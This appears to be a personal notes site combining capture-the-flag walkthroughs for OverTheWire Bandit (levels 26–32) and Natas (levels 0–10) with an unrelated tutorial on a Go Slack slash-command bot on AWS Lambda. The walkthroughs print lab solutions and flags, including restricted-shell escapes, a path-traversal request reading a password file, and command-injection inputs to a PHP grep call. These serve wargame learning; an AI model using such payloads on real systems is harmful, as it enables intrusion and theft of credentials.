Looking at the `/etc/passwd` entry for `bandit26` we see that it is calling a shell script instead of an actual shell. This script simple calls `more` on a file. If we change the size of our terminal so that the file cannot fit, then we can abuse the `v` command in more. This will open an editor for the file, in this case the default editor is vim, and we can use that editor to view the password file with the following vim command:

{% tabs %}
{% tab title="Solution" %}

```bash
:e /etc/bandit_pass/bandit26
```

{% endtab %}

{% tab title="Flag" %}

```
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
```

{% endtab %}
{% endtabs %}

## Level 27

> Good job getting a shell! Now hurry and grab the password for bandit27!

The solution to this challenge is nearly identical to the last. Only this time we spawn a shell instead of editing a file.

{% tabs %}
{% tab title="Solution" %}

```bash
# getting a shell from vim
:set shell=/bin/bash
:shell

# using the suid binary
./bandit27-do /etc/bandit_pass/bandit27
```

{% endtab %}

{% tab title="Flag" %}

```
3ba3118a22e93127a4ed485be72ef5ea
```

{% endtab %}
{% endtabs %}

## Level 28

> There is a git repository at ssh://bandit27-git\@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27.

> Clone the repository and find the password for the next level.

{% tabs %}
{% tab title="Solution" %}

```bash
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
cat repo/README
```

{% endtab %}

{% tab title="Flag" %}

```
0ef186ac70e04ea33b4c1853d2526fa2
```

{% endtab %}
{% endtabs %}

## Level 29

> There is a git repository at ssh://bandit28-git\@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the same as for the user bandit28.

> Clone the repository and find the password for the next level.

For this challenge the password is hidden in a previous commit, which we can see with `git log`

{% tabs %}
{% tab title="Solution" %}

```bash
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
cd repo
git log
git checkout 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
cat README.md
```

{% endtab %}

{% tab title="Flag" %}

```
bbc96594b4e001778eee9975372716b2
```

{% endtab %}
{% endtabs %}

## Level 29

> There is a git repository at ssh://bandit29-git\@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the same as for the user bandit29.

> Clone the repository and find the password for the next level.

For this challenge the password is hidden in a previous commit, which we can see with `git log`

{% tabs %}
{% tab title="Solution" %}

```bash
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
cd repo
git checkout dev
git log -p
```

{% endtab %}

{% tab title="Flag" %}

```
5b90576bedb2cc04c86a9e924ce42faf
```

{% endtab %}
{% endtabs %}

## Level 30

> There is a git repository at ssh://bandit30-git\@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the same as for the user bandit30.

> Clone the repository and find the password for the next level.

{% tabs %}
{% tab title="Solution" %}

```bash
git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
cd repo
git tag
git show secret
```

{% endtab %}

{% tab title="Flag" %}

```
47e603bb428404d265f59c42920d81e5
```

{% endtab %}
{% endtabs %}

## Level 31

> There is a git repository at ssh://bandit31-git\@localhost/home/bandit31-git/repo. The password for the user bandit31-git is the same as for the user bandit31.

> Clone the repository and find the password for the next level.

For this challenge we simply need to push a file with specific contents to the repo, but it is originally ignored due to the .gitignore. We get past this with the `-f` flag.

{% tabs %}
{% tab title="Solution" %}

```bash
git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
echo 'May I come in?' > key.txt
git add -f key.txt
git push origin master
```

{% endtab %}

{% tab title="Flag" %}

```
56a9bf19c63d650ce78e6ec0354ee45e
```

{% endtab %}
{% endtabs %}

## Level 32

> After all this git stuff its time for another escape. Good luck!

It looks like we are stuck in yet another jail shell. This one seems to translate every character to uppercase, but by using characters that can't be translated to uppercase we can escape the shell.

{% tabs %}
{% tab title="Solution" %}

```bash
# this command doesn't work
ls

# But after executing this we have a real shell
$0

cat /etc/bandit_pass/bandit32
```

{% endtab %}

{% tab title="Flag" %}

```
c9c3199ddf4121b10cf581a98d51caee
```

{% endtab %}
{% endtabs %}


# Natas

This is a collection of challenges built around common web application vulnerabilities.

## Level 0

To start off we follow the instructions found here <https://overthewire.org/wargames/natas/natas0.html> and log into the first challenge at <http://natas0.natas.labs.overthewire.org>

This challenge is quite simple and the source code contains the password (CTRL+U in firefox).

{% tabs %}
{% tab title="Flag" %}

```
gtVrDuiDfck831PqWsLEZy5gyDz1clto
```

{% endtab %}
{% endtabs %}

## Level 1

This challenge works exactly the same, but right clicking is blocked. This isn't a problem though since we're using a keyboard shortcut.

{% tabs %}
{% tab title="Flag" %}

```
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
```

{% endtab %}
{% endtabs %}

## Level 2

When looking at the source code we see a file being references at `files/pixel.png`, navigating to `/files` shows us that there is a file called `users.txt` which contains the flag.

{% tabs %}
{% tab title="Flag" %}

```
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
```

{% endtab %}
{% endtabs %}

## Level 3

There is a comment in the source code with the reference "Not even Google will find this" which implies a `robot.txt` file is involved here. checking that file shows us a directory `/s3cr3t` which contains a `users.txt` file that contains the flag.

{% tabs %}
{% tab title="Flag" %}

```
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
```

{% endtab %}
{% endtabs %}

## Level 4

This page tells us that valid users only come from `http://natas5.natas.labs.overthewire.org/`, so we use the following burp request and manually set the `Referer` value to that endpoint.

{% tabs %}
{% tab title="Burp Request" %}

```
GET / HTTP/1.1
Host: natas4.natas.labs.overthewire.org
Referer: http://natas5.natas.labs.overthewire.org/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

{% endtab %}

{% tab title="Flag" %}

```
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
```

{% endtab %}
{% endtabs %}

## Level 5

This challenge simply tells us that we aren't logged in. Running the request through burp we see that there is a cookie called `loggedin` that is set to 0 by default. We modify the request and set the value to 1 as shown below.

{% tabs %}
{% tab title="Burp Request" %}

```
GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx
Connection: close
Cookie: loggedin=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

{% endtab %}

{% tab title="Flag" %}

```
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
```

{% endtab %}
{% endtabs %}

## Level 6

This challenge presents us with a form to submit a secret with, and also provides a link to view the source code of the function. In the source code we see it is including a `includes/secret.inc`. when navigating to that page and viewing the source we are given the secret to submit. After submitting the secret we get the flag.

{% tabs %}
{% tab title="Secret" %}

```
FOEIUWGHFEEUHOFUOIU
```

{% endtab %}

{% tab title="Flag" %}

```
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
```

{% endtab %}
{% endtabs %}

## Level 7

On this challenge we see two href's using `index.php?page=<page>` which screams LFI on basic challenges like this. Using the following burp request we can read the file `/etc/natas_webpass/natas8`.

{% tabs %}
{% tab title="Burp Request" %}

```
GET /index.php?page=../../../../../etc/natas_webpass/natas8 HTTP/1.1
Host: natas7.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://natas7.natas.labs.overthewire.org/
Authorization: Basic bmF0YXM3Ojd6M2hFRU5qUXRmbHpnblQyOXE3d0F2TU5mWmRoMGk5
Connection: close
Upgrade-Insecure-Requests: 1
```

{% endtab %}

{% tab title="Flag" %}

```
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
```

{% endtab %}
{% endtabs %}

## Level 8

We are given another secret submission form as well as the source code. This time they are using a custom encoding function and checking it against a pre-encoded string. The secret validation code is shown below, as well as my decoding script. Running this gives us the secret.

{% tabs %}
{% tab title="Secret Submission" %}

```php
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>
```

{% endtab %}

{% tab title="decoder.py" %}

```python
import base64

def natasDecode(secret):
    # first we convert from hex -> string
    secret = bytearray.fromhex(secret).decode()
    # then we reverse the string
    secret = secret[::-1]
    # then we base64 decode the string
    secret = base64.b64decode(secret)
    # then we convert from bytearray to str for printing
    return secret.decode("utf-8")


plaintext = natasDecode('3d3d516343746d4d6d6c315669563362')
print(plaintext)
```

{% endtab %}

{% tab title="Secret" %}

```
oubWYf2kBq
```

{% endtab %}

{% tab title="Flag" %}

```
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
```

{% endtab %}
{% endtabs %}

## Level 9

In this challenge we are given a form that is then used to run `grep` via php. But it is not sanitizing input, so we can manipulate the command to read the flag file instead. The original php as well as the input needed to obtain the flag are shown below:

{% tabs %}
{% tab title="PHP Grep" %}

```php
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
```

{% endtab %}

{% tab title="Form Input" %}

```
-e ".*" /etc/natas_webpass/natas10;
```

{% endtab %}

{% tab title="Flag" %}

```
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
```

{% endtab %}
{% endtabs %}

## Level 10

This challenge runs the same grep command with php, but it filters the user's input first. Our solution will still work though by removing the `;` from our input. This will just have grep search our file as well as the one defined in the php file.

{% tabs %}
{% tab title="PHP Grep" %}

```php
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
```

{% endtab %}

{% tab title="Form Input" %}

```
-e ".*" /etc/natas_webpass/natas11
```

{% endtab %}

{% tab title="Flag" %}

```
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
```

{% endtab %}
{% endtabs %}


# GoBot

*Just a note, this article is rather outdated and was written when there was not formal support for Golang in AWS Lambda*

[See the latest code here](https://www.github.com/jshodd/goBot)

## The Problem

I am in a number of slack groups and all seem to have their own workarounds to providing new users with information about the organization. Some use the built in SlackBot and it's custom responses, some use pre-built plugins that loosely meet their needs, and some build their own plugins based on what they need. For smaller organizations hosting a server to run a slackbot 24/7 is quite unreasonable, especially when the application is simply providing users with information such as rules, learning resources etc. My goal for this project was to create a fast, lightweight, and cost effective slackBot solution.

## Overview

There are various ways to implement a slackbot, but it basically boils down to two types. Your bot can listen through an api for slack to call it by a user typing in a slash command such as `/infobot learn` or your bot can constantly poll slack though the slack api for specific events, such as a new user joining or a specific word used. Keeping cost in mind I went with the first option, because the application only has run when it's called. So what are our options as far as hosting goes? Well we could set up out own physical server to host this application and build a rest API on top of it, or use something like an amazon EC2 instance to avoid using physical hardware. Now this would work, but it goes two of our goals: being lightweight and being cost effective. For a simple slash command that is just going to return a generated link or list of learning resources, an entire dedicated server is quite overkill and the cost of hosting that server will add up. This is where AWS Lambda comes in. Lambda will only run your code when it is triggered by a defined event, so you don't pay for the time your code isn't run. More importantly, you get your first **1,000,000** requests free, which far exceeds what nearly any slack command will use. You can use a number of different events, but for this project we use Amazon's API gateway. We will get more into configuring lambda later in this post, but lets just get an overview of what will happen when a slack command is called:

1. A user types a command like `/infobot learn`
2. Slack sends a POST or GET request to a url specified when setting up the slack command
3. Amazon's API Gateway receives the request
4. API Gateway triggers the Lambda function and passes the request information as an argument
5. Our application runs and returns a json object
6. Lambda and API Gateway sends the json object to slack
7. Slack uses the data stored in the json object to post your bot's output

## Setting Up AWS

This post doesn't go into the details of setting up your AWS account, so it is assumed that you have an account created already. In your management console, go to Lambda and create a new function.

![CreateFunction](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-802c5340b0e3307f4ab2df726a40b391004f7935%2Faws-create-function.png?alt=media)

After this we need to set some basic configuration options for our function. As of right now Go isn't officially supported, so we will be using a shim (We'll get to that part in a moment) and that calls for a Python 2.7 run time. After naming your function, you need to apply an appropriate role to it. In this example I am creating a new role with some basic Lambda Permissions.

![ConfigureFunction](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-6a46ab671786c08051f25e0475d97165e66a106c%2Faws-function-config.png?alt=media)

Awesome, we have a function (that doesn't do anything)! If you are using Python, C#, Java, or Node.js you can start writing your application in the browser's code editor, but I wanted to be stubborn and use golang so we will get into that process in the next section. Before we get to the code, let's take care of how exactly slack and our function are going to talk. Now the interface for AWS changes quite rapidly, so if your screen doesn't quite look like mine, don't panic. Look for where you can add triggers and select `API Gateway`.

![APIGatewaySelect](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5c0e3509e4245d86fe2ea0da924863b81ac3c4af%2Faws-function-api.png?alt=media)

This will bring up a page for you to configure your brand new api, but for the sake of simplicity we will not go into how to fully configure your api. By default, Amazon will create an API for you that will accept any method, and all of the data will be passed to your lambda function. So you can either go into API Gateway and specify a specific method that you would like to use (Slack supports POST and GET requests) or you can manually check the method in your function if needed. To get your API up and running you simply need to select a name for the api, deployment stage, and security setting. For the deployment stage you can leave it as prod, as we will not be making any changes to the configuration, and for the security setting you must mark it as open.

![APIGatewayConfig](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-2708b7874d14cb96a499668e14cdc776cf5a98f2%2Faws-api-config.png?alt=media)

After applying those settings and saving your function with the button in the top left of the screen, you are ready to use your api. After saving you can go to your triggers and you should see your API there with some information, including the invoke url. Make sure to copy this url, as we will need it in the next step to set up slack. (Don't worry, by the time you read this the invoke url below will no longer be in use)

![APIGatewayDetails](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-612503e83765edbe1a90e9ebf5f5e525b494faee%2Faws-api-details.png?alt=media)

## Setting up Slack

For this you will either need to own or have some admin rights for a Slack workspace. You then want to go to "Manage Apps" and add the "Slash Commands". After slash commands has been added you your slack, you want to add a configuration.

![SlackSlash](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-d261a22a981967654d905d5f5abfc6b2cf52e6ce%2Fslack-slash-select.png?alt=media)

You then choose a slash command you create, for this example I am making `/letmegooglethatforyou` command that will generate a link like this: <http://lmgtfy.com/?q=Jacob+Shodd>. After choosing the name for your command you need to provide a url to slack, this is the invoke url of our api gateway. After this there are various other configurations you can make such as a description, autocomplete, etc.

![SlackSlashConfig](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-4794ab1d74aeabec57d5397ed2e6067fb3e74f32%2Fslack-slash-config.png?alt=media)

Great, we have an API, a slash command, and a lambda function! let's try this bad boy out!

![SlackSlashFail](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-51b7941342fb81a75879a65f775bf2a6b9001b7b%2Fslack-slash-fail.png?alt=media)

Drats! It looks like our slack command isn't working, but that's probably because our lambda function doesn't have any code to run, but who knew? Now I didn't include that just to take up space, as that is the only error info that slack will give you. Not very descriptive is it? It took a *long* time to figure out the format that slack wanted for the returned info, but error messages from slack were no help. In the next section when we talk about code we will see how you can emulate a slack request and be able to see just how your function is returning the data, as it can get a little freaky with go.

## Did Somebody Say Code?

Finally, the heart of the project! For the sake of this article I'm just going to go into how to receive data from slack, and how to return it. This will be easy because our example is only generating a url, a one line operation. The current code for my slack command can be found [here](https://github.com/jshodd/goBot) and may look quite different than what we will get into here, but the logic will still be the same.

1. Break down the input
2. Process the data
3. Structure the response
4. Return the data

So lets get into how we set this project up. We will be using the [aws-lambda-go-shim](https://github.com/eawsy/aws-lambda-go-shim) for this project and in order to use you will need to do a few things, so go to your project directory and run:

```bash
# Pull the docker image used to build the program, install docker if needed
$ docker pull eawsy/aws-lambda-go-shim:latest
# Pull the go files from github
$ go get github.com/eawsy/aws-lambda-go-core/...
# Download the Makefile used to build your program
$ wget -O Makefile https://git.io/vytH8
```

With this we are now ready to start building our application. We'll start with the most important component we need to work with lambda. In your main function, Lambda expects there to be a `Handle` function as described below, without this, your Lambda will throw an error. You can think of this as your main function for this project.

```go
package main

import (
  "encoding/json"

  "github.com/eawsy/aws-lambda-go-core/service/lambda/runtime"
)

func Handle(evt json.RawMessage, ctx *runtime.Context) (interface{}, error) {
  // ...
}
```

The `evt` that is passed into your function is the entire request sent from Slack, including all headers and information about the request as well as the information from Slack. The second parameter `ctx` contains some useful information about Lambda, such as how much longer your application has to run (Lambda limits your application to 5 Minutes of uptime). For this example we won't be needing `ctx`, but we will be using `evt` to extract more information about the command that was passed. It is quite ugly, but this is an example of what is contained in `evt`

```javascript
{
  "body": "token=WwnfYJCqdAtEg722m8neeWQU&team_id=T86U125SM&team_domain=nsfplayground&channel_id=C88A25PQE&channel_name=general&user_id=U86PW6STS&user_name=jacobshodd&command=%2Fletmegooglethatforyou&text=test+search&response_url=https%3A%2F%2Fhooks.slack.com%2Fcommands%2FT86U125SM%2F280668852308%2F8mxhR2TgMLp3UnSItgQXNB64",
  "resource": "/{proxy+}",
  "requestContext": {
    "resourceId": "123456",
    "apiId": "1234567890",
    "resourcePath": "/{proxy+}",
    "httpMethod": "POST",
    "requestId": "c6af9ac6-7b61-11e6-9a41-93e8deadbeef",
    "accountId": "123456789012",
    "identity": {
      "apiKey": null,
      "userArn": null,
      "cognitoAuthenticationType": null,
      "caller": null,
      "userAgent": "Custom User Agent String",
      "user": null,
      "cognitoIdentityPoolId": null,
      "cognitoIdentityId": null,
      "cognitoAuthenticationProvider": null,
      "sourceIp": "127.0.0.1",
      "accountId": null
    },
    "stage": "prod"
  },
  "queryStringParameters": {
    "foo": "bar"
  },
  "headers": {
    "Via": "1.1 08f323deadbeefa7af34d5feb414ce27.cloudfront.net (CloudFront)",
    "Accept-Language": "en-US,en;q=0.8",
    "CloudFront-Is-Desktop-Viewer": "true",
    "CloudFront-Is-SmartTV-Viewer": "false",
    "CloudFront-Is-Mobile-Viewer": "false",
    "X-Forwarded-For": "127.0.0.1, 127.0.0.2",
    "CloudFront-Viewer-Country": "US",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Upgrade-Insecure-Requests": "1",
    "X-Forwarded-Port": "443",
    "Host": "1234567890.execute-api.us-east-1.amazonaws.com",
    "X-Forwarded-Proto": "https",
    "X-Amz-Cf-Id": "cDehVQoZnx43VYQb9j2-nvCh-9z396Uhbp027Y2JvkCPNLmGJHqlaA==",
    "CloudFront-Is-Tablet-Viewer": "false",
    "Cache-Control": "max-age=0",
    "User-Agent": "Custom User Agent String",
    "CloudFront-Forwarded-Proto": "https",
    "Accept-Encoding": "gzip, deflate, sdch"
  },
  "pathParameters": {
    "proxy": "path/to/resource"
  },
  "httpMethod": "POST",
  "stageVariables": {
    "baz": "qux"
  },
  "path": "/path/to/resource"
}
```

As you can see there is quite a lot of data in there, but we really only need the body. To make it easier to work with this data I made a struct to unpack the json into called Request.

```go
//Type Request
type Request struct {
    Resource              string            `json:"resource"`
    Path                  string            `json:"path"`
    HttpMethod            string            `json:"httpMethod"`
    Headers               map[string]string `json:"headers"`
    QueryStringParameters string            `json:"queryStringParameters"`
    PathParameters        string            `json:"pathParameters"`
    StageVariables        string            `json:"stageVariables"`
    RequestContext        map[string]string `json:"requestContext"`
    Body                  string            `json:"body"`
    IsBase64Encoded       string            `json:"isBase64Encoded"`
}
```

This allows us to create a Request object and then use `json.Unmarshal` to unpack `evt` into this object. like so:

```go
var request Request
json.Unmarshal(evt, &request)
```

Now that we can easily access the information in the body by calling `request.Body` we can get going right? Well, not quite yet. Even though the body is sent as a string, it actually holds a lot of information, and thus I gave it it's own struct, and a function to parse the url encoded string that is sent by slack.

```go
type SlackInfo struct {
    TeamId      string `json:"team_id"`
    TeamDomain  string `json:"team_domain"`
    ChannelId   string `json:"channel_id"`
    UserId      string `json:"user_id"`
    UserName    string `json:"user_name"`
    Command     string `json:"command"`
    ResponseUrl string `json:"response_url"`
    Token       string `json:"token"`
    ChannelName string `json:"channel_name"`
    Text        string `json:"text"`
}

func toInfo(input string) SlackInfo {
    data, _ := url.ParseQuery(input)
    result := SlackInfo{
        TeamId:      data["team_id"][0],
        TeamDomain:  data["team_domain"][0],
        ChannelId:   data["channel_id"][0],
        UserId:      data["user_id"][0],
        UserName:    data["user_name"][0],
        Command:     data["command"][0],
        ResponseUrl: data["response_url"][0],
        Token:       data["token"][0],
        ChannelName: data["channel_name"][0],
        Text:        data["text"][0]}
    return result
}
```

This lets us directly access the information sent by slack by simply doing `info := toInfo(request.Body)`. So now that we have the request data structured in a way that it is all easily accessible, we will need to do the same for the response data. This is where most of my issues came from. Slack expects a json object with three fields:

1. statusCode
2. body
3. headers

Within the Body field there are two sub field: `response_type` and `text`. the response type field lets you choose if everybody in the slack will see the message or only the one who calls the command. This is decided by using `in_channel` for a public message or `ephemeral` for a private message. The `text` field will contain your message to be displayed, which can also use any of slack's formatting tools. This is all quite easy to understand, but for some reason it also expects the body to be a string, with the `text` field in the body using escaped double quotes, or text formatting in slack don't work. This was a massive pain in the neck to figure out, but I ultimately used the following structs and function to make returning data to slack easy for me:

```go
type Response struct {
    StatusCode int               `json:"statusCode"`
    Body       string            `json:"body"`
    Headers    map[string]string `json:"headers"`
}

func NewResponse(statusCode int, responseType, text string) Response {
    headers := map[string]string{"Content-Type": "application/json"}
    message := Message{ResponseType: responseType, Text: text}
    return Response{StatusCode: statusCode, Body: message.String(), Headers: headers}
}

type Message struct {
    ResponseType string `json:"response_type"`
    Text         string `json:"text"`
}

func (this *Message) String() string {
    return fmt.Sprintf("{'response_type': '%s', 'text': \"%s\"}", this.ResponseType, this.Text)
}
```

Now I realize that is a lot of code just to handle input and output of the function, but the bright side is that now don't have to worry it, and life gets much easier. So to finish this section up, this is what our final `Handle` function would look like for this application:

```go
func Handle(evt json.RawMessage, ctx *runtime.Context) (interface{}, error) {
    var request Request
    json.Unmarshal(evt, &request)
    info := toInfo(request.Body)
    text := "http://lmgtfy.com/?q=" + strings.Replace(info.Text, " ", "+", -1)
    return NewResponse(200, "in_channel", text), nil
}
```

This takes the text from the slack request (the text that comes after the command), replaces all spaces in the string, and appends it to `http://lmgtfy.com/?q=` to create our url. This is then used to create or response and it is sent back to slack! Notice that we did not marshal our request into a json object, this is one feature of the shim is that it will automatically marshal whatever struct that you return. So now for the easy part, getting the code on Lambda. As of now Go isn't officially supported, so we will be using the tools that we downloaded earlier, but sometime in early 2018 these last steps will not be needed, as Amazon announced official support for Go on Lambda. All that is needed is to run `make` in our project directory and the shim takes care of everything and outputs a zip file.

![Shim](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-94aae8cf8e879b1b432d5ead3603f2afb5aab190%2Fshim.png?alt=media)

## Uploading Go Code to Lambda And Testing

So our code is done and we're ready to rock and roll. Go to the Lambda dashboard for your function enter the settings as you see below. We need Amazon to look for our function, so we set our handler to "handler.Handle" and we select "Upload a .ZIP file"

![Upload](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-f4c16196740b6dc8c92673a54b8a2fa740dad744%2Faws-upload.png?alt=media)

After clicking upload and saving your function you should be ready to go! But before we try out command, lets look at how we can test to trouble shoot issues. In the top left corner there is a drop down for tests, click that and select "configure test events" and a window with a text editor will come up. This allows you to create an object that will be passed to your function, and will print out what your function returns, what slack will receive. In this window you can paste in the full request that I included above, but I will provide it again here:

```javascript
{
  "body": "token=WwnfYJCqdAtEg722m8neeWQU&team_id=T86U125SM&team_domain=nsfplayground&channel_id=C88A25PQE&channel_name=general&user_id=U86PW6STS&user_name=jacobshodd&command=%2Fletmegooglethatforyou&text=test+search&response_url=https%3A%2F%2Fhooks.slack.com%2Fcommands%2FT86U125SM%2F280668852308%2F8mxhR2TgMLp3UnSItgQXNB64",
  "resource": "/{proxy+}",
  "requestContext": {
    "resourceId": "123456",
    "apiId": "1234567890",
    "resourcePath": "/{proxy+}",
    "httpMethod": "POST",
    "requestId": "c6af9ac6-7b61-11e6-9a41-93e8deadbeef",
    "accountId": "123456789012",
    "identity": {
      "apiKey": null,
      "userArn": null,
      "cognitoAuthenticationType": null,
      "caller": null,
      "userAgent": "Custom User Agent String",
      "user": null,
      "cognitoIdentityPoolId": null,
      "cognitoIdentityId": null,
      "cognitoAuthenticationProvider": null,
      "sourceIp": "127.0.0.1",
      "accountId": null
    },
    "stage": "prod"
  },
  "queryStringParameters": {
    "foo": "bar"
  },
  "headers": {
    "Via": "1.1 08f323deadbeefa7af34d5feb414ce27.cloudfront.net (CloudFront)",
    "Accept-Language": "en-US,en;q=0.8",
    "CloudFront-Is-Desktop-Viewer": "true",
    "CloudFront-Is-SmartTV-Viewer": "false",
    "CloudFront-Is-Mobile-Viewer": "false",
    "X-Forwarded-For": "127.0.0.1, 127.0.0.2",
    "CloudFront-Viewer-Country": "US",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Upgrade-Insecure-Requests": "1",
    "X-Forwarded-Port": "443",
    "Host": "1234567890.execute-api.us-east-1.amazonaws.com",
    "X-Forwarded-Proto": "https",
    "X-Amz-Cf-Id": "cDehVQoZnx43VYQb9j2-nvCh-9z396Uhbp027Y2JvkCPNLmGJHqlaA==",
    "CloudFront-Is-Tablet-Viewer": "false",
    "Cache-Control": "max-age=0",
    "User-Agent": "Custom User Agent String",
    "CloudFront-Forwarded-Proto": "https",
    "Accept-Encoding": "gzip, deflate, sdch"
  },
  "pathParameters": {
    "proxy": "path/to/resource"
  },
  "httpMethod": "POST",
  "stageVariables": {
    "baz": "qux"
  },
  "path": "/path/to/resource"
}
```

This is the equivalent of somebody typing `/letmegooglethatforyou test search` in you slack channel. After saving this, click the test button next to the drop down and you will be given your test feedback including what was returned by your function:

![test](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-b1bbdf64863e8fb12596afa5341379548c21092e%2Faws-lambda-test.png?alt=media)

Our output looks great, now for the ultimate test, what happens when we run `/letmegooglethatforyou A Tour Of Go`?

![SlackTest](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-e07e0e70b74261c803a84318c02c723026d8a668%2Fslack-test.png?alt=media)

And that's it! Congrats, you now have a basic slash command up and running. Now you can use this example to create some commands that have some more functionality without having to worry about how your data gets to and from slack. And the best part? You will most likely never have to pay for this service, unless you see your command being used over 1,000,000 times a month that is.


